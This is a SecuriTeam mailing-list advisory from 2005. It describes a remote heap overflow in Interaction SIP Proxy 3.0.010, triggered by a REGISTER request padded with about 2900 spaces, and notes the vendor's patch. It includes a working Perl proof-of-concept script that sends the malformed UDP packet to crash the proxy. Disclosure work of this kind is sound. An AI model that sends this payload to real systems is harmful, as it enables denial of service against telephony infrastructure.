The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Interaction SIP Proxy Heap Corruption
------------------------------------------------------------------------
SUMMARY
" <http://www.ietf.org/rfc/rfc3261.txt> SIP (Session Initiation Protocol)
is an application-layer control protocol that can establish, modify, and
terminate multimedia sessions (conferences) such as Internet telephony
calls." " <http://www.inin.com/SIPProxy/default.asp> Interaction SIP Proxy
is an extremely easy to install and easy to use proxy server."
A buffer overflow with Interactive Intelligence SIP Proxy allows attackers
to cause a DoS and execute arbitrary code.
DETAILS
Vulnerable Systems:
* Interactive Intelligence SIP Proxy version 3.0.010
Immune Systems:
* Interactive Intelligence SIP Proxy version 3.0.011
Interaction SIP Proxy is Microsoft Windows-based software that provides
basic SIP proxy and registrar functionality as defined in the IETF
SIP-oriented RFC 3261. The Interaction SIP Proxy routes incoming SIP
messages based on configurable dial plan and server plans, with simplified
Administration via Web interface.
The code in i3sipmsg.dll is responsible for handling SIP requests. The
vulnerability is triggered by sending 2900 bytes of space (0x20) or TAB
(0x9) characters as SIP version in a REGISTER request line. This will
cause a heap overflow in SIPParser function.
A remote heap overflow in Interaction SIP Proxy allows a remote attacker
to overwrite heap memory and cause a a severe denial of service condition
on the system. Exploitation of this vulnerability for code execution
requires a magic sequence of pre-allocations, data and size.
Proof of Concept:
#! /usr/bin/perl
##
#i3 SIP Proxy POC - http://www.hat-squad.com/en/000171.html
#This vulnerability allows a remote user to overwrite heap memory of
i3sipproxy.
#The request size varies, but size=2900 bytes works in most of the cases.
Successful
#exploitation of this bug for code executuion requires a magic combination
of
#pre-allocations, data and size.
#
use strict;
use IO::Socket::INET;
my $host = shift(@ARGV);
my $size = shift(@ARGV);
my $port=5060;
print "\n\n Interactive SIP proxy heap corruption POC \n\n";
print " By Behrang Fouladi, Hat-Squad Security Team \n\n";
print(" Usage: perl $0 \n\n"),exit if(!$host || !$size);
my $iaddr=inet_aton($host) || die ("Unable to resolve $host");
socket(DoS,PF_INET,SOCK_DGRAM,17);
my $sip= "REGISTER sip:test\@test.com SIP/";
$sip.= "\x20"x$size;
$sip.= "\r\n";
$sip.= "Via: SIP/2.0/TCP 192.168.0.1:7043";
$sip.= "\r\n";
$sip.= "Max-Forwards: 70\r\n";
$sip.= "From: ;tag=ec8c2399e9\r\n";
$sip.= "To: \r\n";
$sip.= "Call-ID: 1b6c7397b109453c93d85edc88d9810e\r\n";
$sip.= "CSeq: 1 REGISTER\r\n";
$sip.= "Contact: ;methods=\"INVITE, MESSAGE, INFO, SUBSCRIBE, OPTIONS,
BYE, CANCEL, NOTIFY, ACK, REFER, BENOTIFY\";proxy=replace\r\n";
$sip.= "Content-Length: 0\r\n";
$sip.= "\r\n";
send(DoS,$sip,0,sockaddr_in($port,$iaddr));
print " Exploit Sent to $host...\n";
print " The SIP Proxy should crash now.\n\n";
exit(0);
# EoF
Disclosure Timeline:
12/11/2005 Vendor informed
12/12/2005 Initial vendor response
12/18/2005 Vendor released a patch
ADDITIONAL INFORMATION
The information has been provided by <mailto:service@hat-squad.com>
Hat-Squad Security Team.
The original article can be found at:
<http://www.hat-squad.com/en/000171.html>
http://www.hat-squad.com/en/000171.html
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
